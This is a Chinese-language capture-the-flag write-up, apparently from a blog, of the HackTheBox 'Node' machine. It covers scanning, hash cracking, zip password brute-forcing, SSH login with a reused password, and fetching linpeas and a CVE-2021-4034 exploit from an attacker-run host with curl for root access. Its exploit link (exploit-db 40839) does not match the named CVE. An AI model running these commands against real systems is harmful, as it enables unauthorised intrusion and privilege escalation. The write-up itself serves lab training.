HackTheBox - Node Write Up

文章描述了一个渗透测试过程,从使用RustScan进行端口扫描和Nmap进行服务识别,到发现Node.jsExpress应用的用户和管理员信息,以及密码破解。接着,利用MongoDB的凭证尝试SSH登录并找到权限提升的机会,最终通过CVE-2021-4034进行提权并获取用户和root的flag。
摘要由CSDN通过智能技术生成

OS:Linux

DIFFICULTY:Medium

0x01 信息收集

端口信息收集

rustscan -a 10.10.10.58 --ulimit 2000 -r 1-65535 -- -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 2000.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.10.10.58:22
Open 10.10.10.58:3000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 10.10.10.58
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-13 13:55 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 13:55
Scanning 10.10.10.58 [4 ports]
Completed Ping Scan at 13:55, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:55
Completed Parallel DNS resolution of 1 host. at 13:56, 13.01s elapsed
DNS resolution of 1 IPs took 13.01s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 13:56
Scanning 10.10.10.58 [2 ports]
Discovered open port 22/tcp on 10.10.10.58
Discovered open port 3000/tcp on 10.10.10.58
Completed SYN Stealth Scan at 13:56, 0.32s elapsed (2 total ports)
Initiating Service scan at 13:56
Scanning 2 services on 10.10.10.58
Completed Service scan at 13:56, 11.82s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.58.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 13:56
Completed NSE at 13:56, 1.71s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 13:56
Completed NSE at 13:56, 1.18s elapsed
Nmap scan report for 10.10.10.58
Host is up, received echo-reply ttl 63 (0.27s latency).
Scanned at 2023-04-13 13:56:06 CST for 15s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.66 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

根据端口指纹信息查询历史漏洞

未发现有用的信息

searchsploit Node.js Express framework

Express是一个最小的,灵活的Node.js Web应用程序框架,它提供了一套强大的功能来开发Web和移动应用程序。

Web服务信息收集

根据网站中提供的信息,MyPlace似乎是一个社交媒体平台,包含登录页面

查看网站前端源代码,暂未发现有用信息

通过浏览器开发者工具查找前端JS代码

http://10.10.10.58:3000/assets/js/app/app.js
http://10.10.10.58:3000/assets/js/app/controllers/admin.js
http://10.10.10.58:3000/assets/js/app/controllers/home.js
http://10.10.10.58:3000/assets/js/app/controllers/login.js
http://10.10.10.58:3000/assets/js/app/controllers/profile.js

在JS中发现以下路径

/api/admin/backup
/api/session
/api/users/
/api/users/latest
/api/session/authenticate
/admin

/partials/home.html
/partials/profile.html
/partials/login.html
/partials/admin.html

分别访问后,发现以下内容:

通过以下接口可以获取当前系统所用的用户和加密后的用户密码信息,得到三个普通用户的信息tommarkrastating,和一个管理员用户myP14ceAdm1nAcc0uNT

[
    {
        "_id": "59a7365b98aa325cc03ee51c",
        "username": "myP14ceAdm1nAcc0uNT",
        "password": "dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af",
        "is_admin": true
    },
    {
        "_id": "59a7368398aa325cc03ee51d",
        "username": "tom",
        "password": "f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240",
        "is_admin": false
    },
    {
        "_id": "59a7368e98aa325cc03ee51e",
        "username": "mark",
        "password": "de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73",
        "is_admin": false
    },
    {
        "_id": "59aa9781cced6f1d1490fce9",
        "username": "rastating",
        "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0",
        "is_admin": false
    }
]

通过cmd5网站查询密码对应的明文信息,结果如下

myP14ceAdm1nAcc0uNT - manchester
tom - spongebob
mark - snowflake
rastating - 未查询到明文

其他接口和页面:暂未发现有用信息

页面中的内容表示当前系统目前该平台仍在开发阶段,因此注册已关闭,但用户可以浏览现有用户的个人资料

页面中的内容表示该网页中用户的个人简介还没有填写完整,稍后再来了解更多关于该用户({{user.username}})的信息

页面中的内容表示:该系统目前仅对管理员开放,普通用户还不能使用它的所有功能。但是,很快就会推出标准用户功能,并可以进行测试

该页面中有一个Download Backup的按钮,但是点击后没有反应

http://10.10.10.58:3000/partials/admin.html

使用Wappalyzer进行指纹识别,发现网站的编程语言是Node.js,Web框架为Express

目录扫描

未发现有用信息

dirsearch -u http://10.10.10.58:3000/ -w /usr/share/wordlists/dirb/big.txt -t 200
  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                                                            
 (_||| _) (/_(_|| (_| )                                                                                                                                                     
                                                                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 20469

Output File: /root/.dirsearch/reports/10.10.10.58-3000/-_23-04-13_14-45-22.txt

Error Log: /root/.dirsearch/logs/errors-23-04-13_14-45-22.log

Target: http://10.10.10.58:3000/

[14:45:23] Starting: 
[14:45:39] 301 -  171B  - /assets  ->  /assets/
[14:46:47] 301 -  175B  - /partials  ->  /partials/
[14:47:24] 301 -  173B  - /uploads  ->  /uploads/
[14:47:26] 301 -  171B  - /vendor  ->  /vendor/

0x02 漏洞利用

根据信息收集发现的账号密码登录到系统中

myP14ceAdm1nAcc0uNT - manchester
tom - spongebob
mark - snowflake
rastating - 未查询到明文

使用普通用户tom登录后没有发现可利用的信息

使用管理员myP14ceAdm1nAcc0uNT登录后,页面可以直接下载备份文件

http://10.10.10.58:3000/api/admin/backup

直接cat发现内容使用了base64编码

执行解码后发现内容中包含乱码和文件路径

cat myplace.backup | base64 -d

根据第一行的PK判断该文件为zip压缩格式

文件开头是 “PK”,通常意味着它是 ZIP 压缩文件格式。ZIP 格式最初由菲尔·卡茨创建,这个名称源于他的公司名字 Phil Katz’s PKWARE,因此所有 ZIP 文件都以 PK 开始。

执行以下命令将解码后的内容重定向到myplace.zip中,然后进行解压缩,结果发现存在解压密码

cat myplace.backup | base64 -d  > myplace.zip

unzip myplace.zip

使用以下命令爆破zip的密码,得到密码为:magicword

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

再次进行解压

解压后发现包含了多级文件夹和文件,手动搜索线索效率很低

使用grep命令可以根据关键字查询进行快速查询

搜索常规的关键词,分析搜索结果后暂未发现敏感信息,不过在这些文件的路径上我发现大部分都和mongodb有关系

grep -rE "(username|uname|password|pwd)" .

接下来,加入mongo关键词再次进行查找,果然发现了mongodb的账号和密码

grep -rE "(mongo|password|passwd|pwd:|username:)" .
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace

尝试通过mongodb-clients进行连接发现是连接不上的,其实在最开始端口扫描时就没有扫出来这个端口连接不上也正常

apt-get install -y mongodb-clients
mongo "mongodb://mark:5AYRft73VtFpc84k@10.10.10.58:27017/myplace?authMechanism=DEFAULT&authSource=myplace"


柳暗花明又一村

继续翻找文件后没有新的发现,此时想到了密码复用,尝试后竟然登录成功了

sshpass -p '5AYRft73VtFpc84k' ssh mark@10.10.10.58 -o StrictHostKeyChecking=no

sshpass 是一个用于非交互式 ssh 登录的工具,它可以让你在命令行中直接提供密码,而不需要交互式输入,首次登录时使用sshpass会无法登录成功,因为ssh 会提示你确认服务器的身份。这是因为 ssh 会检查服务器的公钥是否已经保存在本地的 known_hosts 文件中,如果没有需要用户确认输入yes或no,通过-o StrictHostKeyChecking=no 选项来禁用服务器身份验证可以直接登录成功。不过,禁用服务器身份验证可能会带来安全风险。如果你连接到一个被攻击者控制的服务器,攻击者可能会利用中间人攻击来窃取你的信息。因此,建议只在安全的环境中禁用服务器身份验证。

尝试获取user的flag,发现当前用户的权限不够,那只能先去提权了

find / -name "user.txt"
cat /home/tom/user.txt

0x03 权限提升

使用linpeas.sh进行信息收集

# 本地开启http服务
python3 -m http.server 1111

# 在靶机中执行以下命令下载linpeas.sh
curl http://10.10.14.11:1111/linpeas.sh -o /tmp/linpeas.sh

# 添加可执行权限
chmod +x /tmp/linpeas.sh

# 运行
cd /tmp
./linpeas.sh

根据扫描结果,使用CVE-2021-4034进行提权

执行以下命令查看是否存在gcc编译环境

gcc --version

将exp下载至靶机中并进行编译

exp:https://www.exploit-db.com/download/40839

# 下载
curl http://10.10.14.11:1111/CVE-2021-4034.tar.gz -o /tmp/CVE-2021-4034.tar.gz

# 解压
tar -xzvf CVE-2021-4034.tar.gz

# 编译
make

# 运行exp
./cve-2021-4034

获得user和root的flag

cat /home/tom/user.txt
flag: d6d98ed59e9259f1512c2412aff92dd8

cat /root/root.txt
flag: c3b80cb07298bb4f7ff32769efdd6f24

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Gh0stX

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值